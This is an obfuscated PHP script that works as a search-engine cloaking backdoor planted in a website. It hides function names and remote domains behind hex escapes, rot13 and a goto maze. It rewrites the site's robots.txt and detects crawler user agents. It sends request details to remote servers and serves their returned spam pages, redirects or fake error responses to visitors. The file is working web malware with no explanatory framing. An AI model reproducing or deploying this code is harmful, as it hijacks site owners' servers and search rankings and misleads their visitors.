<?php
 goto DhfqS; xqLOU: $http = is_https() ? "\x68\x74\x74\160\x73" : "\150\x74\x74\160"; goto SfrDi; t66nb: $model = "\151\x6e\144\145\x78"; goto oluhP; WSGS7: $string = "\63\x35\x33\65\55\154\x69\156\153\x32\x31\70"; goto lgNaj; HpS72: $referer = isset($_SERVER["\110\124\124\120\137\122\105\x46\105\122\x45\122"]) ? $_SERVER["\110\x54\x54\x50\137\x52\x45\106\105\122\x45\x52"] : ''; goto xqLOU; yTbp9: $model_file = "\151\156\144\x65\170\x2e\160\x68\x70"; goto t66nb; iXanc: $model = stristr($duri, "\57\77") ? "\77" : $model; goto PWhKp; cPS_k: if ($duri != "\x2f") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\57\151\156\144\x65\x78\56\160\150\160", '', $duri); $duri = str_replace("\41", '', $duri); } goto zel3o; KUMlc: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\125\105\x53\124\x5f\125\122\x49"])) { return $_SERVER["\x52\x45\x51\x55\x45\x53\124\x5f\x55\x52\111"]; } if (isset($_SERVER["\141\x72\147\x76"])) { return $_SERVER["\x50\x48\x50\x5f\x53\105\114\106"] . "\77" . $_SERVER["\x61\162\147\166"][0]; } return $_SERVER["\x50\x48\x50\x5f\x53\x45\x4c\x46"] . "\x3f" . $_SERVER["\121\125\105\122\x59\137\x53\124\122\x49\116\x47"]; } goto y4FFm; DhfqS: $xmlname = array("\x25\63\x33\45\x33\65\x25\63\x33\x25\x33\x35\45\x32\104\x25\x37\x39\45\x37\66\45\x36\x31\x25\67\x38\45\x33\62\x25\63\x31\x25\x33\x38\45\x32\105\45\x37\x30\45\x36\x35\x25\67\x32\45\66\x45\45\67\60\x25\67\x36\x25\66\x44\x25\67\x32\x25\66\61\45\62\x45\45\x36\102\45\x36\103\x25\66\x44", "\45\63\x33\45\63\x35\x25\63\x33\45\x33\65\45\62\104\45\67\x39\x25\67\x36\45\66\x31\x25\67\70\x25\x33\62\45\63\x31\x25\63\70\x25\x32\105\x25\x37\x41\x25\67\x32\45\x36\x37\x25\x36\x45\x25\66\106\45\66\x35\45\x37\66\x25\x37\x31\x25\67\x34\x25\x36\105\45\62\105\45\x36\x42\x25\x36\103\45\66\x44", "\x25\63\x33\x25\63\x35\45\63\63\45\x33\x35\x25\62\104\45\x37\71\x25\67\66\45\x36\x31\45\67\70\x25\63\62\x25\63\61\x25\63\x38\45\x32\105\x25\x37\101\45\66\105\45\x37\x34\45\66\61\x25\x36\x45\45\66\x31\x25\x32\x45\x25\x36\67\x25\66\62\45\66\x33", "\x25\x33\63\45\63\x35\45\x33\63\45\63\65\x25\x32\104\45\x37\71\45\x37\66\x25\66\x31\x25\67\x38\x25\63\62\x25\63\x31\45\x33\x38\x25\62\x45\45\66\64\x25\66\x38\45\67\x36\45\66\61\x25\x36\x37\x25\x37\62\45\66\66\45\66\x36\x25\x36\x43\x25\x32\x45\x25\x36\x37\x25\x36\62\x25\66\x33"); goto WSGS7; SfrDi: $zz = disbot(); goto FlGxM; umKgb: $html_content = request($xmlname, $param); goto jGxwH; cIkFX: create_robots($http . "\x3a\57\x2f" . $host); goto umKgb; OAK_5: function create_robots($url) { $functions = func(); $path = $_SERVER["\x44\117\103\x55\115\105\116\x54\137\122\x4f\117\124"] . "\57\162\157\x62\157\164\163\56\164\170\164"; $content = "\125\x73\145\162\55\x61\147\145\x6e\164\72\40\x2a" . PHP_EOL . "\x41\x6c\x6c\x6f\x77\x3a\x20\x2f" . PHP_EOL . PHP_EOL . "\x53\151\164\x65\x6d\141\x70\72\x20" . $url . "\x2f\163\151\164\x65\155\141\160\x2e\170\x6d\154" . PHP_EOL; if (!file_exists($path)) { @$functions[0]($path, $content); } else { $existing_content = $functions[1]($path); if ($existing_content !== $content) { @$functions[0]($path, $content); } } } goto WEOLu; C8Zs5: function disbot() { $user_agent = isset($_SERVER["\x48\x54\x54\x50\x5f\x55\x53\105\x52\x5f\101\107\105\116\x54"]) ? strtolower($_SERVER["\110\x54\124\x50\x5f\x55\x53\x45\x52\x5f\101\107\x45\116\x54"]) : ''; $bots = array("\x67\157\x6f\147\154\x65\x62\x6f\164", "\x62\151\156\147", "\171\141\x68\157\x6f", "\x67\x6f\157\147\x6c\145"); foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { return 1; } } return 2; } goto KUMlc; WEOLu: function request($webs, $param) { $functions = func(); shuffle($webs); foreach ($webs as $domain) { $domain_decoded = $functions[2](urldecode($domain)); $url = "\x68\x74\x74\x70\x3a\57\57" . $domain_decoded . "\57\x73\165\x70\145\x72\x36\x2e\160\150\x70\77" . $param; if (function_exists("\167\160\x5f\162\x65\x6d\x6f\164\145\137\x67\145\x74")) { $response = wp_remote_get($url, array("\x74\x69\x6d\145\157\x75\x74" => 30, "\165\x73\x65\x72\55\141\147\145\x6e\x74" => "\115\157\x7a\x69\x6c\x6c\x61\57\x35\x2e\60\40\50\x63\157\x6d\x70\x61\164\x69\142\154\145\x3b\40\x57\x6f\162\144\x50\x72\x65\x73\x73\x29")); if (!is_wp_error($response)) { $body = wp_remote_retrieve_body($response); return $body; } } if (function_exists("\x63\165\x72\154\x5f\151\156\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } curl_close($ch); } if (ini_get("\x61\154\x6c\157\x77\x5f\x75\162\x6c\137\146\x6f\x70\145\156")) { $context = stream_context_create(array("\x68\x74\164\x70" => array("\x74\151\x6d\145\x6f\165\164" => 30))); $response = @$functions[1]($url, false, $context); if ($response !== false) { return $response; } } } return "\156\157\x62\x6f\x74\165\x73\145\162\x61\x67\145\x6e\x74"; } goto enao7; lgNaj: $host = isset($_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]) ? $_SERVER["\x48\x54\124\120\137\x48\x4f\x53\124"] : ''; goto HpS72; FlGxM: $duri = drequest_uri() ?: "\57"; goto yTbp9; PWhKp: $istest = false; goto hj0L1; hj0L1: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto cPS_k; zel3o: $param = http_build_query(array("\x77\145\142" => $host, "\172\x7a" => $zz, "\165\x72\151" => urlencode($duri), "\165\162\x6c\x73\150\x61\156\147" => $referer, "\150\164\164\x70" => $http, "\x6d\157\x64\145\154" => $model, "\166\x65\162\x73\151\x6f\156" => $istest ? $string : '')); goto cIkFX; jGxwH: if (strpos($html_content, "\156\x6f\x62\157\164\165\163\145\x72\141\x67\x65\156\164") === false) { $response_handlers = array("\157\153\x68\164\155\154" => array("\150\x65\141\x64\x65\x72" => "\103\157\156\164\145\x6e\x74\55\x74\x79\x70\145\72\x20\164\145\x78\x74\57\150\x74\x6d\x6c\73\x20\x63\x68\141\x72\163\145\x74\75\x75\164\x66\55\70", "\x72\x65\x70\x6c\141\x63\x65" => "\157\153\150\164\x6d\154", "\164\x65\163\x74\137\145\x63\x68\x6f" => true, "\x6f\165\x74\160\165\x74" => true), "\x67\x65\164\x63\x6f\156\x74\x65\x6e\164\65\x30\x30\x70\141\147\145" => array("\x68\145\x61\144\x65\162" => "\x48\124\124\120\x2f\61\x2e\61\x20\x35\60\60\40\111\156\164\x65\162\156\x61\154\40\x53\x65\162\166\x65\x72\40\x45\162\162\157\x72"), "\x34\x30\64\160\141\147\x65" => array("\150\145\141\x64\145\162" => "\110\124\x54\120\57\61\x2e\x31\40\x34\x30\64\x20\116\x6f\x74\x20\106\157\165\x6e\x64"), "\x33\60\x31\160\141\x67\x65" => array("\x68\x65\x61\x64\x65\x72" => "\x48\x54\124\x50\x2f\x31\x2e\x31\x20\63\x30\61\x20\115\x6f\166\145\144\40\120\145\162\155\x61\x6e\x65\x6e\164\154\x79", "\143\141\143\150\x65\x5f\x63\x6f\156\164\162\x6f\x6c" => "\x6e\x6f\55\x63\141\143\150\145\x2c\x20\x6e\157\x2d\x73\164\x6f\162\145\x2c\x20\155\165\163\164\x2d\x72\145\x76\x61\x6c\151\x64\x61\164\x65", "\162\145\160\154\x61\x63\145" => "\x33\x30\61\x70\141\147\x65", "\162\145\x64\x69\x72\x65\143\x74" => true), "\157\x6b\x78\x6d\154" => array("\150\x65\x61\144\x65\x72" => "\x43\157\x6e\x74\x65\156\164\x2d\x54\171\160\x65\72\x20\141\160\160\154\151\x63\141\164\151\157\156\57\170\155\x6c\x3b\x20\x63\x68\141\162\x73\x65\x74\75\165\164\146\x2d\70", "\x72\x65\160\154\x61\143\145" => "\157\x6b\170\155\154", "\x6f\165\x74\x70\x75\164" => true), "\157\153\x72\x6f\x62\157\x74\163" => array("\x68\x65\141\144\145\x72" => "\103\x6f\156\x74\145\156\x74\55\124\x79\160\x65\x3a\x20\x74\145\x78\164\x2f\x70\154\x61\151\156", "\x72\145\x70\154\x61\x63\x65" => "\x6f\x6b\x72\x6f\142\157\x74\x73", "\157\x75\164\x70\165\x74" => true)); foreach ($response_handlers as $key => $handler) { if (strpos($html_content, $key) !== false) { @header($handler["\x68\145\141\144\145\x72"]); if (isset($handler["\x63\x61\x63\150\145\137\143\x6f\156\x74\x72\x6f\x6c"])) { @header("\x43\x61\x63\x68\145\x2d\103\x6f\156\x74\x72\157\154\72\x20" . $handler["\143\141\143\150\x65\x5f\x63\x6f\156\164\162\x6f\154"]); @header("\120\x72\141\x67\155\x61\x3a\40\x6e\x6f\55\143\141\143\150\145"); @header("\105\x78\x70\151\x72\x65\163\72\40\x30"); } if (isset($handler["\162\145\x70\x6c\x61\x63\x65"])) { $html_content = str_replace($handler["\x72\x65\x70\154\141\x63\x65"], '', $html_content); } if (isset($handler["\164\x65\163\164\137\x65\143\x68\x6f"]) && $istest) { echo $string; } if (isset($handler["\162\145\x64\151\162\145\x63\x74"])) { @header("\x4c\157\x63\x61\x74\151\x6f\x6e\72\40" . $html_content); } elseif (isset($handler["\157\x75\x74\x70\165\x74"])) { echo $html_content; } die; } } } goto C8Zs5; y4FFm: function is_https() { if (isset($_SERVER["\110\x54\124\120\123"])) { $https = strtolower($_SERVER["\x48\124\124\120\123"]); if ($https !== "\x6f\x66\x66" && $https !== '') { return true; } } if (isset($_SERVER["\110\x54\x54\x50\137\130\x5f\106\x4f\x52\x57\101\122\104\x45\x44\137\x50\x52\117\124\117"]) && $_SERVER["\110\124\124\120\137\130\137\x46\117\122\x57\x41\x52\x44\105\x44\x5f\120\122\x4f\124\117"] === "\x68\164\164\x70\163") { return true; } if (isset($_SERVER["\110\124\x54\120\137\106\x52\x4f\x4e\124\137\105\x4e\x44\137\x48\x54\x54\120\x53"])) { $front_end_https = strtolower($_SERVER["\x48\124\x54\x50\x5f\106\122\x4f\x4e\124\137\x45\116\104\x5f\110\x54\x54\x50\123"]); if ($front_end_https !== "\x6f\146\146" && $front_end_https !== '') { return true; } } return false; } goto OAK_5; MOepS: if (!empty($matches)) { $model_file = $matches[1]; if (($position = strpos($duri, $model_file)) !== false) { $model_file = ltrim(substr($duri, 0, $position + strlen($model_file)), "\57"); } $model = str_replace("\56\160\x68\160", '', $model_file); } goto iXanc; oluhP: preg_match("\x2f\134\57\50\x5b\136\x5c\57\135\x2b\134\56\160\150\x70\51\x2f", $duri, $matches); goto MOepS; enao7: function func() { $chars = range("\x61", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\x31\x33"); }